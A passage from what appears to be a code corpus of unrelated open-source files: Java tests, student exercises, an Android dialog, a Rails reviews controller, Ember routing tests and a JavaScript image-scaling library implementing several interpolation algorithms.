assertThat(entryList.get(0).getInteger("B"), is(100)); assertThat(entryList.get(1).size(), is(1)); assertThat(entryList.get(1).getInteger("B"), is(200)); } @Test public void asTupleEntryListWithFieldsOrdering() throws Exception { Fields fields = new Fields("A", "B"); List<Tuple> tuples = new ArrayList<Tuple>(); tuples.add(new Tuple(1, 100)); tuples.add(new Tuple(2, 200)); List<TupleEntry> entryList = new Data(fields, tuples).withFields(new Fields("B", "A")).asTupleEntryList(); assertThat(entryList.size(), is(2)); assertThat(entryList.get(0).size(), is(2)); assertThat(entryList.get(0).getFields(), is(new Fields("B", "A"))); assertThat(entryList.get(0).getInteger(0), is(100)); assertThat(entryList.get(0).getInteger(1), is(1)); assertThat(entryList.get(1).size(), is(2)); assertThat(entryList.get(1).getFields(), is(new Fields("B", "A"))); assertThat(entryList.get(1).getInteger(0), is(200)); assertThat(entryList.get(1).getInteger(1), is(2)); } @Test public void asTupleEntryListWithFieldsNone() throws Exception { Fields fields = new Fields("A", "B"); List<Tuple> tuples = new ArrayList<Tuple>(); tuples.add(new Tuple(1, 100)); tuples.add(new Tuple(2, 200)); List<TupleEntry> entryList = new Data(fields, tuples).withFields(Fields.NONE).asTupleEntryList(); assertThat(entryList.size(), is(2)); assertThat(entryList.get(0).size(), is(0)); assertThat(entryList.get(1).size(), is(0)); } @Test public void asTupleList() throws Exception { Fields fields = new Fields("A", "B"); List<Tuple> tuples = new ArrayList<Tuple>(); tuples.add(new Tuple(1, 100)); tuples.add(new Tuple(2, 200)); List<Tuple> entryList = new Data(fields, tuples).asTupleList(); assertThat(entryList.size(), is(2)); assertThat(entryList.get(0).getInteger(0), is(1)); assertThat(entryList.get(0).getInteger(1), is(100)); assertThat(entryList.get(1).getInteger(0), is(2)); assertThat(entryList.get(1).getInteger(1), is(200)); } @Test public void asTupleListOrderBy() throws Exception { Fields fields = new Fields("A", "B"); List<Tuple> tuples = new ArrayList<Tuple>(); tuples.add(new Tuple(1, 200)); tuples.add(new Tuple(2, 100)); List<Tuple> entryList = new Data(fields, tuples).orderBy(new Fields("B")).asTupleList(); assertThat(entryList.size(), is(2)); assertThat(entryList.get(0).getInteger(0), is(2)); assertThat(entryList.get(0).getInteger(1), is(100)); assertThat(entryList.get(1).getInteger(0), is(1)); assertThat(entryList.get(1).getInteger(1), is(200)); } @Test public void asTupleListWithFields() throws Exception { Fields fields = new Fields("A", "B"); List<Tuple> tuples = new ArrayList<Tuple>(); tuples.add(new Tuple(1, 100)); tuples.add(new Tuple(2, 200)); List<Tuple> entryList = new Data(fields, tuples).withFields(new Fields("B")).asTupleList(); assertThat(entryList.size(), is(2)); assertThat(entryList.get(0).size(), is(1)); assertThat(entryList.get(0).getInteger(0), is(100)); assertThat(entryList.get(1).size(), is(1)); assertThat(entryList.get(1).getInteger(0), is(200)); } @Test public void asTupleListWithFieldsOrdering() throws Exception { Fields fields = new Fields("A", "B"); List<Tuple> tuples = new ArrayList<Tuple>(); tuples.add(new Tuple(1, 100)); tuples.add(new Tuple(2, 200)); List<Tuple> entryList = new Data(fields, tuples).withFields(new Fields("B", "A")).asTupleList(); assertThat(entryList.size(), is(2)); assertThat(entryList.get(0).size(), is(2)); assertThat(entryList.get(0).getInteger(0), is(100)); assertThat(entryList.get(0).getInteger(1), is(1)); assertThat(entryList.get(1).size(), is(2)); assertThat(entryList.get(1).getInteger(0), is(200)); assertThat(entryList.get(1).getInteger(1), is(2)); } @Test public void asTupleListWithFieldsNone() throws Exception { Fields fields = new Fields("A", "B"); List<Tuple> tuples = new ArrayList<Tuple>(); tuples.add(new Tuple(1, 100)); tuples.add(new Tuple(2, 200)); List<Tuple> entryList = new Data(fields, tuples).withFields(Fields.NONE).asTupleList(); assertThat(entryList.size(), is(2)); assertThat(entryList.get(0).size(), is(0)); assertThat(entryList.get(1).size(), is(0)); } @Test(expected = UnsupportedOperationException.class) public void asTupleEntryListReturnsImmutable() { Fields fields = new Fields("A", "B"); List<Tuple> tuples = new ArrayList<Tuple>(); new Data(fields, tuples).asTupleEntryList().add(new TupleEntry()); } @Test(expected = UnsupportedOperationException.class) public void asTupleListReturnsImmutable() { Fields fields = new Fields("A", "B"); List<Tuple> tuples = new ArrayList<Tuple>(); new Data(fields, tuples).asTupleList().add(new Tuple()); } }
TsvetomirN1/Soft-Uni-Programming-Bassics-With_JAVA
PastExams/ExamsPractice4Problem/WeddingDecoration.java
package ExamsPractice4; import java.util.Scanner; public class WeddingDecoration { public static void main(String[] args) { Scanner scanner = new Scanner(System.in); double balloonPrice = 0.1; double flowerPrice = 1.5; double candlePrice = 0.5; double ribbonPrice = 2; double totalPrice = 0; int balloonsCount = 0; int flowersCount = 0; int candlesCount = 0; int ribbonsCount = 0; double budget = Double.parseDouble(scanner.nextLine()); double moneyLeft = budget; while (budget > totalPrice){ String item = scanner.nextLine(); if (item.equalsIgnoreCase("stop")){ System.out.printf("Spend money: %.2f%n", totalPrice); System.out.printf("Money left: %.2f%n", moneyLeft); System.out.printf("Purchased decoration is %d balloons, %d m ribbon, %d flowers and %d candles.", balloonsCount, ribbonsCount, flowersCount, candlesCount); return; } int count = Integer.parseInt(scanner.nextLine()); double currentPrice = 0; switch (item){ case "balloons": currentPrice += count * balloonPrice; balloonsCount += count; break; case "flowers": currentPrice += count * flowerPrice; flowersCount += count; break; case "candles": currentPrice += count * candlePrice; candlesCount += count; break; case "ribbon": currentPrice += count * ribbonPrice; ribbonsCount += count; break; } totalPrice += currentPrice; moneyLeft -= currentPrice; } System.out.printf("All money is spent!%n"); System.out.printf("Purchased decoration is %d balloons, %d m ribbon, %d flowers and %d candles.", balloonsCount, ribbonsCount, flowersCount, candlesCount); } }
VladTrach/elda
json-rdf/src/main/java/com/epimorphics/jsonrdf/JSONWriterFacade.java
/* See lda-top/LICENCE (or https://raw.github.com/epimorphics/elda/master/LICENCE) for the licence for this software. (c) Copyright 2011 Epimorphics Limited $Id$ File: JSONWriterFacade.java Created by: <NAME> Created on: 3 Feb 2010 */ package com.epimorphics.jsonrdf; /** * Interface to look like a JSONWriter. Used to migrate code * which used to use JSONWriter to allow it to do object construction. * Also allows us to switch between the codehaus version of json.org * API which Jersey expects and the more up to date json.org version * which we used to use and has advantages (read from stream, better * quoting etc). * * @author <a href="mailto:<EMAIL>"><NAME></a> * @version $Revision: $ */ public interface JSONWriterFacade { /** * Begin appending a new array. All values until the balancing * <code>endArray</code> will be appended to this array. The * <code>endArray</code> method must be called to mark the array's end. * @return this */ public JSONWriterFacade array(); /** * End an array. This method most be called to balance calls to * <code>array</code>. * @return this */ public JSONWriterFacade endArray(); /** * End an object. This method most be called to balance calls to * <code>object</code>. * @return this */ public JSONWriterFacade endObject(); /** * Append a key. The key will be associated with the next value. In an * object, every value must be preceded by a key. * @param s A key string. * @return this */ public JSONWriterFacade key(String s); /** * Begin appending a new object. All keys and values until the balancing * <code>endObject</code> will be appended to this object. The * <code>endObject</code> method must be called to mark the object's end. * @return this */ public JSONWriterFacade object(); /** * Append either the value <code>true</code> or the value * <code>false</code>. * @param b A boolean. * @return this */ public JSONWriterFacade value(boolean b); /** * Append a double value. * @param d A double. * @return this */ public JSONWriterFacade value(double d); /** * Append a long value. * @param l A long. * @return this */ public JSONWriterFacade value(long l); /** * Append an object value. * @param o The object to append. It can be null, or a Boolean, Number, * String, JSONObject, or JSONArray, or an object with a toJSONString() * method. * @return this */ public JSONWriterFacade value(Object o); }
JasonLGJ/Resume-About-repository
SWUSTmate/app/src/main/java/com/swust/admins/Base/dialog/ProgressDialog.java
package com.swust.admins.Base.dialog; import android.app.Dialog; import android.content.Context; import android.content.DialogInterface; import android.support.annotation.NonNull; import android.view.KeyEvent; import android.widget.TextView; import com.swust.admins.R; /** * Created by sky on 05/09/2018. */ public class ProgressDialog extends Dialog { private TextView textView; public ProgressDialog(@NonNull Context context) { super(context, R.style.styleProgressDialog); setContentView(R.layout.dialog_progress); setCanceledOnTouchOutside(false); setOnKeyListener(new OnKeyListener() { @Override public boolean onKey(DialogInterface dialog, int keyCode, KeyEvent event) { return keyCode == KeyEvent.KEYCODE_BACK; } }); textView = findViewById(R.id.dialogProgressText); } public void show(String text) { textView.setText(text); super.show(); } }
CrimsonJacket/modsUni
src/test/java/seedu/modsuni/testutil/TypicalUsers.java
<reponame>CrimsonJacket/modsUni package seedu.modsuni.testutil; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import seedu.modsuni.model.user.User; import seedu.modsuni.model.user.student.Student; /** * A utility class containing a list of {@code User} objects to be used in * tests. */ public class TypicalUsers { public static final String STUDENT_TEST_DATA = "test_8DB6604.xml"; public static final String STUDENT_MAX_DATA = "max33.xml"; public static final Student STUDENT_MAX = new StudentBuilder().build(); public static final Student STUDENT_SEB = new StudentBuilder() .withName("<NAME>") .withUsername("vettel5") .withEnrollmentDate("17/06/2007") .withMajor(Arrays.asList("CS", "BA")) .withMinor(Arrays.asList("IS", "MA")).build(); public static final Student STUDENT_TEST = new StudentBuilder() .withName("Test").build(); private TypicalUsers() { } /** * Returns a {@code List<User>} with all the typical users. */ public List<User> getTypicalUsers() { return new ArrayList<>(Arrays.asList(STUDENT_MAX, STUDENT_SEB)); } }
sebasgraciavalderrama/javascript-complete-guide
Fundamentals pt2/Assignments/Arrays/arrays.js
'use strict'; const worldPopulation = 7900000000; function percentageOfWorld1(population=1441000000) { return (population/worldPopulation)*100; } const populations = [83190556, 10678362, 50372424] console.log(populations.length >= 4); const percentages = [percentageOfWorld1([populations[0]]), percentageOfWorld1([populations[1]]), percentageOfWorld1(populations[2])]; console.log(percentages)
raphaelmolesim/agile_brazil
app/controllers/reviews_listing_controller.rb
# encoding: UTF-8 class ReviewsListingController < ApplicationController def index respond_to do |format| format.html do redirect_to reviewer_reviews_path(@conference) end format.js do if @conference.in_early_review_phase? sessions_to_review = Session.for_review_in(@conference).count sessions_without_reviews = Session.for_review_in(@conference).with_incomplete_early_reviews.count stats = { 'required_reviews' => sessions_to_review, 'total_reviews' => sessions_to_review - sessions_without_reviews } else stats = { 'required_reviews' => Session.for_review_in(@conference).count * 3, 'total_reviews' => FinalReview.for_conference(@conference).count } end render json: stats end end end def reviewer direction = params[:direction] == 'up' ? 'ASC' : 'DESC' column = sanitize(params[:column].presence || 'created_at') order = "reviews.#{column} #{direction}" @reviews = current_user.reviews. for_conference(@conference). page(params[:page]). order(order). includes(session: [:author, :second_author, :track, {review_decision: :outcome}]) end end
highiq/angular.next
client/app/components/pages/company/team-members/team-members.controller.js
class TeamMembersController { constructor() { this.name = '<NAME>'; } } export default TeamMembersController;
RanjeethaChandreGowda/test
singtel-test1/src/test/java/com/example/singteltest1/TestSolution.java
package com.example.singteltest1; import static org.junit.jupiter.api.Assertions.assertEquals; import org.junit.jupiter.api.Test; import org.springframework.boot.test.context.SpringBootTest; @SpringBootTest public class TestSolution { // Commenting this test method as the Animal class become the Abstract /*@Test public void testAnimalWalk() { Animal animal = new Animal(); assertEquals("walk", animal.walk()); }*/ // Commenting this test method as the Bird class become the Abstract. We can use // Mock framework to instantiate. Not doing it for test. /* * @Test public void testBirdFly() { Bird bird = new Bird(); assertEquals("fly", * bird.fly()); } * * @Test public void testBirdSing() { Bird bird = new Bird(); * assertEquals("sing", bird.sing()); } **/ @Test public void testChickenSound() { Bird bird = new Chicken(); assertEquals("Cluck Cluck", bird.sound()); } @Test public void testDuckSound() { Bird bird = new Duck(); assertEquals("Quack Quack", bird.sound()); } @Test public void testDuckSwim() { Duck duck = new Duck(); assertEquals("Duck can swim", duck.swim()); } @Test public void testChickenFly() { Bird bird = new Chicken(); assertEquals("Chicken can't fly because wings are clipped", bird.fly()); } //@Test //public void testRoosterSound() { // Bird bird = new Rooster(); // assertEquals("Cock-a-doodle-doo", bird.sound()); //} @Test public void testRoosterGender() { Rooster rooster = new Rooster(); assertEquals("male", rooster.gender()); } @Test public void testChickenGender() { Chicken chicken = new Chicken(); assertEquals("female", chicken.gender()); } @Test public void testParrotSoundLivesWithDog() { Animal animal = new Dog(); Parrot parrot = new Parrot(animal); assertEquals("Woof, woof",parrot.sound()); } @Test public void testParrotSoundLivesWithCat() { Animal animal = new Cat(); Parrot parrot = new Parrot(animal); assertEquals("Meow",parrot.sound()); } //@Test //public void testParrotSoundLivesWithRooster() { // Animal animal = new Rooster(); // Parrot parrot = new Parrot(animal); // assertEquals("Cock-a-doodle-doo",parrot.sound()); //} @Test public void testParrotSoundWithDuck() { Animal animal = new Duck(); Parrot parrot = new Parrot(animal); assertEquals("Quack Quack",parrot.sound()); } @Test public void testFishWalk() { Fish fish = new Fish(); assertEquals("Fish Cannot Walk",fish.walk()); } @Test public void testFishSound() { Fish fish = new Fish(); assertEquals("Fish Cannot sing",fish.sound()); } @Test public void testFishSwim() { Fish fish = new Fish(); assertEquals("Fish Can Swim",fish.swim()); } @Test public void testSharkSize() { Shark shark = new Shark(); assertEquals("Sharks are large",shark.size()); } @Test public void testSharkColor() { Shark shark = new Shark(); assertEquals("Sharks are grey in color",shark.color()); } @Test public void testSharkEat() { Shark shark = new Shark(); assertEquals("Sharks eat other Fish",shark.eat()); } @Test public void testClownFishSize() { ClownFish clownFish = new ClownFish(); assertEquals("ClownFish are small",clownFish.size()); } @Test public void testClownFishColor() { ClownFish clownFish = new ClownFish(); assertEquals("ClownFish are orange in color",clownFish.color()); } @Test public void testClownFishBehaviour() { ClownFish clownFish = new ClownFish(); assertEquals("ClownFish makes jokes",clownFish.behaviour()); } @Test public void testDolphinSwim() { Dolphin dolphin = new Dolphin(); assertEquals("Dolphin Fish Can Swim",dolphin.swim()); } @Test public void testButterflyFly() { Insect butterFly = new ButterFly(); assertEquals("Butterfly can fly",butterFly.fly()); } @Test public void testButterflySound() { ButterFly butterFly = new ButterFly(); assertEquals("Butterfly makes sound",butterFly.sound()); } @Test public void testCaterpillarFly() { Insect caterPillar = new Caterpillar(); assertEquals("Caterpillar cannot fly",caterPillar.fly()); } @Test public void testCaterpillarWalk() { Caterpillar caterPillar = new Caterpillar(); assertEquals("Caterpillar can crawl",caterPillar.walk()); } }
discourse/discourse-ember-source
dist/es/@ember/-internals/routing/tests/ext/controller_test.js
import { setOwner } from '@ember/-internals/owner'; import Controller from '@ember/controller'; import { buildOwner, moduleFor, AbstractTestCase } from 'internal-test-helpers'; moduleFor('@ember/-internals/routing/ext/controller', class extends AbstractTestCase { ["@test transitionToRoute considers an engine's mountPoint"](assert) { let router = { transitionTo(route) { return route; } }; let engineInstance = buildOwner({ ownerOptions: { routable: true, mountPoint: 'foo.bar' } }); let controller = Controller.create({ target: router }); setOwner(controller, engineInstance); assert.strictEqual(controller.transitionToRoute('application'), 'foo.bar.application', 'properly prefixes application route'); assert.strictEqual(controller.transitionToRoute('posts'), 'foo.bar.posts', 'properly prefixes child routes'); assert.throws(() => controller.transitionToRoute('/posts'), 'throws when trying to use a url'); let queryParams = {}; assert.strictEqual(controller.transitionToRoute(queryParams), queryParams, 'passes query param only transitions through'); } ["@test replaceRoute considers an engine's mountPoint"](assert) { let router = { replaceWith(route) { return route; } }; let engineInstance = buildOwner({ ownerOptions: { routable: true, mountPoint: 'foo.bar' } }); let controller = Controller.create({ target: router }); setOwner(controller, engineInstance); assert.strictEqual(controller.replaceRoute('application'), 'foo.bar.application', 'properly prefixes application route'); assert.strictEqual(controller.replaceRoute('posts'), 'foo.bar.posts', 'properly prefixes child routes'); assert.throws(() => controller.replaceRoute('/posts'), 'throws when trying to use a url'); let queryParams = {}; assert.strictEqual(controller.replaceRoute(queryParams), queryParams, 'passes query param only transitions through'); } });
gburd/wave
src/org/waveprotocol/wave/model/wave/data/DocumentFactory.java
<reponame>gburd/wave<filename>src/org/waveprotocol/wave/model/wave/data/DocumentFactory.java /** * Copyright 2008 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ package org.waveprotocol.wave.model.wave.data; import org.waveprotocol.wave.model.document.operation.DocInitialization; import org.waveprotocol.wave.model.id.WaveletId; /** * Factory interface for creating new documents within a wave view. * * @author <EMAIL> (<NAME>) */ public interface DocumentFactory<D extends DocumentOperationSink> { /** * Creates a new document with the given content. * The document's identity within the wave view is provided such that an * implementation of this interface may keep track of the documents within * a wave view, providing domain-specific behavior for them. * * @param waveletId wavelet in which the new document is being created * @param docId id of the new document * @param content content for the new document * @return a new document */ D create(WaveletId waveletId, String docId, DocInitialization content); }
jnthn/intellij-community
java/java-tests/testData/codeInsight/daemonCodeAnalyzer/quickFix/sortContent/beforeEnumWithMembers.java
<filename>java/java-tests/testData/codeInsight/daemonCodeAnalyzer/quickFix/sortContent/beforeEnumWithMembers.java<gh_stars>1-10 // "Sort content" "true" enum e { Foo(1), Bar(2),<caret> Baz(5); int i; e(int i) { this.i = i; } void doSomething() { } }
zhugenihao/tp5
public/static/plugin/image-process/dist/image-scale.js
/*! * image-process v0.0.1 * (c) 2017-2017 dailc * Released under the MIT License. * https://github.com/dailc/image-process */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global.ImageScale = factory()); }(this, (function () { 'use strict'; /** * 缩放算法 * 最临邻近插值 */ function scale(data, width, height, newData, newWidth, newHeight) { // 计算压缩后的缩放比 var scaleW = newWidth / width; var scaleH = newHeight / height; var dstData = newData; var filter = function filter(dstCol, dstRow) { var srcCol = Math.min(width - 1, dstCol / scaleW); var srcRow = Math.min(height - 1, dstRow / scaleH); var intCol = Math.floor(srcCol); var intRow = Math.floor(srcRow); // 真实的index,因为数组是一维的 var dstI = dstRow * newWidth + dstCol; var srcI = intRow * width + intCol; // rgba,所以要乘以4 dstI *= 4; srcI *= 4; for (var j = 0; j <= 3; j += 1) { dstData[dstI + j] = data[srcI + j]; } }; // 区块 for (var col = 0; col < newWidth; col += 1) { for (var row = 0; row < newHeight; row += 1) { filter(col, row); } } } function nearestNeighborInterpolation(imgData, newImgData) { scale(imgData.data, imgData.width, imgData.height, newImgData.data, newImgData.width, newImgData.height); return newImgData; } /** * 缩放算法 * 双线性差值,会损坏原图(带低通滤波器效果) */ /** * 获取某行某列的像素对于的rgba值 * @param {Object} data 图像数据 * @param {Number} srcWidth 宽度 * @param {Number} srcHeight 高度 * @param {Number} row 目标像素的行 * @param {Number} col 目标像素的列 */ function getRGBAValue(data, srcWidth, srcHeight, row, col) { var newRow = row; var newCol = col; if (newRow >= srcHeight) { newRow = srcHeight - 1; } else if (newRow < 0) { newRow = 0; } if (newCol >= srcWidth) { newCol = srcWidth - 1; } else if (newCol < 0) { newCol = 0; } var newIndex = newRow * srcWidth + newCol; newIndex *= 4; return [data[newIndex + 0], data[newIndex + 1], data[newIndex + 2], data[newIndex + 3]]; } function scale$1(data, width, height, newData, newWidth, newHeight) { // 计算压缩后的缩放比 var scaleW = newWidth / width; var scaleH = newHeight / height; var dstData = newData; var filter = function filter(dstCol, dstRow) { // 源图像中的坐标(可能是一个浮点) var srcCol = Math.min(width - 1, dstCol / scaleW); var srcRow = Math.min(height - 1, dstRow / scaleH); var intCol = Math.floor(srcCol); var intRow = Math.floor(srcRow); // 计算u和v var u = srcCol - intCol; var v = srcRow - intRow; // 1-u与1-v var u1 = 1 - u; var v1 = 1 - v; // 真实的index,因为数组是一维的 var dstI = dstRow * newWidth + dstCol; // rgba,所以要乘以4 dstI *= 4; var rgba00 = getRGBAValue(data, width, height, intRow + 0, intCol + 0); var rgba01 = getRGBAValue(data, width, height, intRow + 0, intCol + 1); var rgba10 = getRGBAValue(data, width, height, intRow + 1, intCol + 0); var rgba11 = getRGBAValue(data, width, height, intRow + 1, intCol + 1); for (var j = 0; j <= 3; j += 1) { var partV = v * (u1 * rgba10[j] + u * rgba11[j]); var partV1 = v1 * (u1 * rgba00[j] + u * rgba01[j]); dstData[dstI + j] = partV + partV1; } }; for (var col = 0; col < newWidth; col += 1) { for (var row = 0; row < newHeight; row += 1) { filter(col, row); } } } function bilinearInterpolation(imgData, newImgData) { scale$1(imgData.data, imgData.width, imgData.height, newImgData.data, newImgData.width, newImgData.height); return newImgData; } /** * 缩放算法 * 双立方(三次)卷积插值,图像更真实 * 计算周围16个点 * 取一阶导数值为二阶差分值的情况,满足插值函数一阶导函数连续 * 函数逼近程度和三次样条插值效果一样,非常的高 * * 公式:(矩阵乘法) * 推导公式 * http://blog.csdn.net/qq_24451605/article/details/49474113 * https://en.wikipedia.org/wiki/Bicubic_interpolation * */ var a00 = void 0; var a01 = void 0; var a02 = void 0; var a03 = void 0; var a10 = void 0; var a11 = void 0; var a12 = void 0; var a13 = void 0; var a20 = void 0; var a21 = void 0; var a22 = void 0; var a23 = void 0; var a30 = void 0; var a31 = void 0; var a32 = void 0; var a33 = void 0; var getRGBAValue$1 = function getRGBAValue(data, srcWidth, srcHeight, row, col, colorIndex) { var newRow = row; var newCol = col; if (newRow >= srcHeight) { newRow = srcHeight - 1; } else if (newRow < 0) { newRow = 0; } if (newCol >= srcWidth) { newCol = srcWidth - 1; } else if (newCol < 0) { newCol = 0; } var newIndex = newRow * srcWidth + newCol; newIndex *= 4; return data[newIndex + colorIndex]; }; var getPixelValue = function getPixelValue(pixelValue) { var newPixelValue = pixelValue; newPixelValue = Math.min(255, newPixelValue); newPixelValue = Math.max(0, newPixelValue); return newPixelValue; }; var updateCoefficients = function updateCoefficients(tmpPixels) { var p = tmpPixels; a00 = p[1][1]; a01 = -0.5 * p[1][0] + 0.5 * p[1][2]; a02 = p[1][0] - 2.5 * p[1][1] + 2 * p[1][2] - 0.5 * p[1][3]; a03 = -0.5 * p[1][0] + 1.5 * p[1][1] - 1.5 * p[1][2] + 0.5 * p[1][3]; a10 = -0.5 * p[0][1] + 0.5 * p[2][1]; a11 = 0.25 * p[0][0] - 0.25 * p[0][2] - 0.25 * p[2][0] + 0.25 * p[2][2]; a12 = -0.5 * p[0][0] + 1.25 * p[0][1] - p[0][2] + 0.25 * p[0][3] + 0.5 * p[2][0] - 1.25 * p[2][1] + p[2][2] - 0.25 * p[2][3]; a13 = 0.25 * p[0][0] - 0.75 * p[0][1] + 0.75 * p[0][2] - 0.25 * p[0][3] - 0.25 * p[2][0] + 0.75 * p[2][1] - 0.75 * p[2][2] + 0.25 * p[2][3]; a20 = p[0][1] - 2.5 * p[1][1] + 2 * p[2][1] - 0.5 * p[3][1]; a21 = -0.5 * p[0][0] + 0.5 * p[0][2] + 1.25 * p[1][0] - 1.25 * p[1][2] - p[2][0] + p[2][2] + 0.25 * p[3][0] - 0.25 * p[3][2]; a22 = p[0][0] - 2.5 * p[0][1] + 2 * p[0][2] - 0.5 * p[0][3] - 2.5 * p[1][0] + 6.25 * p[1][1] - 5 * p[1][2] + 1.25 * p[1][3] + 2 * p[2][0] - 5 * p[2][1] + 4 * p[2][2] - p[2][3] - 0.5 * p[3][0] + 1.25 * p[3][1] - p[3][2] + 0.25 * p[3][3]; a23 = -0.5 * p[0][0] + 1.5 * p[0][1] - 1.5 * p[0][2] + 0.5 * p[0][3] + 1.25 * p[1][0] - 3.75 * p[1][1] + 3.75 * p[1][2] - 1.25 * p[1][3] - p[2][0] + 3 * p[2][1] - 3 * p[2][2] + p[2][3] + 0.25 * p[3][0] - 0.75 * p[3][1] + 0.75 * p[3][2] - 0.25 * p[3][3]; a30 = -0.5 * p[0][1] + 1.5 * p[1][1] - 1.5 * p[2][1] + 0.5 * p[3][1]; a31 = 0.25 * p[0][0] - 0.25 * p[0][2] - 0.75 * p[1][0] + 0.75 * p[1][2] + 0.75 * p[2][0] - 0.75 * p[2][2] - 0.25 * p[3][0] + 0.25 * p[3][2]; a32 = -0.5 * p[0][0] + 1.25 * p[0][1] - p[0][2] + 0.25 * p[0][3] + 1.5 * p[1][0] - 3.75 * p[1][1] + 3 * p[1][2] - 0.75 * p[1][3] - 1.5 * p[2][0] + 3.75 * p[2][1] - 3 * p[2][2] + 0.75 * p[2][3] + 0.5 * p[3][0] - 1.25 * p[3][1] + p[3][2] - 0.25 * p[3][3]; a33 = 0.25 * p[0][0] - 0.75 * p[0][1] + 0.75 * p[0][2] - 0.25 * p[0][3] - 0.75 * p[1][0] + 2.25 * p[1][1] - 2.25 * p[1][2] + 0.75 * p[1][3] + 0.75 * p[2][0] - 2.25 * p[2][1] + 2.25 * p[2][2] - 0.75 * p[2][3] - 0.25 * p[3][0] + 0.75 * p[3][1] - 0.75 * p[3][2] + 0.25 * p[3][3]; }; var getValue = function getValue(x, y) { var x2 = x * x; var x3 = x2 * x; var y2 = y * y; var y3 = y2 * y; return a00 + a01 * y + a02 * y2 + a03 * y3 + (a10 + a11 * y + a12 * y2 + a13 * y3) * x + (a20 + a21 * y + a22 * y2 + a23 * y3) * x2 + (a30 + a31 * y + a32 * y2 + a33 * y3) * x3; }; function scale$2(data, width, height, newData, newWidth, newHeight) { var dstData = newData; // 计算压缩后的缩放比 var scaleW = newWidth / width; var scaleH = newHeight / height; var filter = function filter(dstCol, dstRow) { // 源图像中的坐标(可能是一个浮点) var srcCol = Math.min(width - 1, dstCol / scaleW); var srcRow = Math.min(height - 1, dstRow / scaleH); var intCol = Math.floor(srcCol); var intRow = Math.floor(srcRow); // 计算u和v var u = srcCol - intCol; var v = srcRow - intRow; // 真实的index,因为数组是一维的 var dstI = dstRow * newWidth + dstCol; dstI *= 4; // 16个邻近像素的灰度(分别计算成rgba) var tmpPixels = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]; // rgba for (var i = 0; i <= 3; i += 1) { // 16个临近点 for (var m = -1; m <= 2; m += 1) { for (var n = -1; n <= 2; n += 1) { tmpPixels[m + 1][n + 1] = getRGBAValue$1(data, width, height, intRow + m, intCol + n, i); } } // 更新系数 updateCoefficients(tmpPixels); // 利用uv来求值 dstData[dstI + i] = getPixelValue(getValue(v, u)); } }; // 区块 for (var col = 0; col < newWidth; col += 1) { for (var row = 0; row < newHeight; row += 1) { filter(col, row); } } } function bicubicInterpolation(imgData, newImgData) { scale$2(imgData.data, imgData.width, imgData.height, newImgData.data, newImgData.width, newImgData.height); return newImgData; } /** * 缩放算法 * 双立方(三次)卷积插值,图像更真实 * 计算周围16个点 * 取一阶导数值为二阶差分值的情况,满足插值函数一阶导函数连续 * 函数逼近程度和三次样条插值效果一样,非常的高 * * 公式:(矩阵乘法) * 推导公式 * http://blog.csdn.net/qq_24451605/article/details/49474113 * https://en.wikipedia.org/wiki/Bicubic_interpolation * */ /** * 采样公式的常数A取值,调整锐化与模糊 * -0.5 三次Hermite样条 * -0.75 常用值之一 * -1 逼近y = sin(x*PI)/(x*PI) * -2 常用值之一 */ var A = -1; function interpolationCalculate(x) { var absX = x >= 0 ? x : -x; var x2 = x * x; var x3 = absX * x2; if (absX <= 1) { return 1 - (A + 3) * x2 + (A + 2) * x3; } else if (absX <= 2) { return -4 * A + 8 * A * absX - 5 * A * x2 + A * x3; } return 0; } function getPixelValue$1(pixelValue) { var newPixelValue = pixelValue; newPixelValue = Math.min(255, newPixelValue); newPixelValue = Math.max(0, newPixelValue); return newPixelValue; } /** * 获取某行某列的像素对于的rgba值 * @param {Object} data 图像数据 * @param {Number} srcWidth 宽度 * @param {Number} srcHeight 高度 * @param {Number} row 目标像素的行 * @param {Number} col 目标像素的列 */ function getRGBAValue$2(data, srcWidth, srcHeight, row, col) { var newRow = row; var newCol = col; if (newRow >= srcHeight) { newRow = srcHeight - 1; } else if (newRow < 0) { newRow = 0; } if (newCol >= srcWidth) { newCol = srcWidth - 1; } else if (newCol < 0) { newCol = 0; } var newIndex = newRow * srcWidth + newCol; newIndex *= 4; return [data[newIndex + 0], data[newIndex + 1], data[newIndex + 2], data[newIndex + 3]]; } function scale$3(data, width, height, newData, newWidth, newHeight) { var dstData = newData; // 计算压缩后的缩放比 var scaleW = newWidth / width; var scaleH = newHeight / height; var filter = function filter(dstCol, dstRow) { // 源图像中的坐标(可能是一个浮点) var srcCol = Math.min(width - 1, dstCol / scaleW); var srcRow = Math.min(height - 1, dstRow / scaleH); var intCol = Math.floor(srcCol); var intRow = Math.floor(srcRow); // 计算u和v var u = srcCol - intCol; var v = srcRow - intRow; // 真实的index,因为数组是一维的 var dstI = dstRow * newWidth + dstCol; dstI *= 4; // 存储灰度值的权重卷积和 var rgbaData = [0, 0, 0, 0]; // 根据数学推导,16个点的f1*f2加起来是趋近于1的(可能会有浮点误差) // 因此就不再单独先加权值,再除了 // 16个邻近点 for (var m = -1; m <= 2; m += 1) { for (var n = -1; n <= 2; n += 1) { var rgba = getRGBAValue$2(data, width, height, intRow + m, intCol + n); // 一定要正确区分 m,n和u,v对应的关系,否则会造成图像严重偏差(譬如出现噪点等) // F(row + m, col + n)S(m - v)S(n - u) var f1 = interpolationCalculate(m - v); var f2 = interpolationCalculate(n - u); var weight = f1 * f2; rgbaData[0] += rgba[0] * weight; rgbaData[1] += rgba[1] * weight; rgbaData[2] += rgba[2] * weight; rgbaData[3] += rgba[3] * weight; } } dstData[dstI + 0] = getPixelValue$1(rgbaData[0]); dstData[dstI + 1] = getPixelValue$1(rgbaData[1]); dstData[dstI + 2] = getPixelValue$1(rgbaData[2]); dstData[dstI + 3] = getPixelValue$1(rgbaData[3]); }; // 区块 for (var col = 0; col < newWidth; col += 1) { for (var row = 0; row < newHeight; row += 1) { filter(col, row); } } } function bicubicInterpolation$1(imgData, newImgData) { scale$3(imgData.data, imgData.width, imgData.height, newImgData.data, newImgData.width, newImgData.height); return newImgData; } function extend(target) { var finalTarget = target; for (var 